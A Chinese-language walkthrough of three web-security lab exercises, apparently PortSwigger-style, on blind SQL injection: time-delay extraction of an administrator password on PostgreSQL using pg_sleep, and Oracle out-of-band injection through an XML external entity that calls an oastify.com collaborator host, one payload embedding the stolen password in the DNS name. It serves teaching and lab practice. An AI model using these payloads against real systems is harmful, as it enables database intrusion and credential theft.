15.Blind SQL injection with time delays and information retrieval
本关要求我们拿到管理员账号密码登录进去
通过题目描述,应该就是sql延时注入
先判断是哪种数据库
使用payload
';select pg_sleep(10)--+
页面十秒才回显,说明是postgresql数据库

因为在postgresql中没有if函数,所以我们需要使用case when
因为已经知道密码在表users中,同时根据前面的关卡猜测密码长度为20
可以构造payload
';select case
when substr(password,1,1)='a'
then pg_sleep(5)
else pg_sleep(0)
end
from users where username='administrator'--+

这些响应时间五千多的就是密码

拼接完后密码为:5wgrxlabhxxglsfo82yb

16.Blind SQL injection with out-of-band interaction
这个sql带外注入是将我们查询到的数据带到攻击者的服务器上,一般用于盲注
直接用他给的payload
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//mndx9w3cbuzl7tsf8madjeitlkrbf83x.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--


17.Blind SQL injection with out-of-band data exfiltration
原理与上一关一样
同样利用其payload,因为是Oracle数据库,所以在域名前加上sql语句,用||表示拼接
payload为
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select password from users where username='administrator')||'.6hoh3gxw5et51dmz264xdycdf4lv9txi.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--

在6hon3g...前面的就是查询结果,密码为zophgwer6krf1mn1gkh1
登录成功

6491

被折叠的 条评论
为什么被折叠?



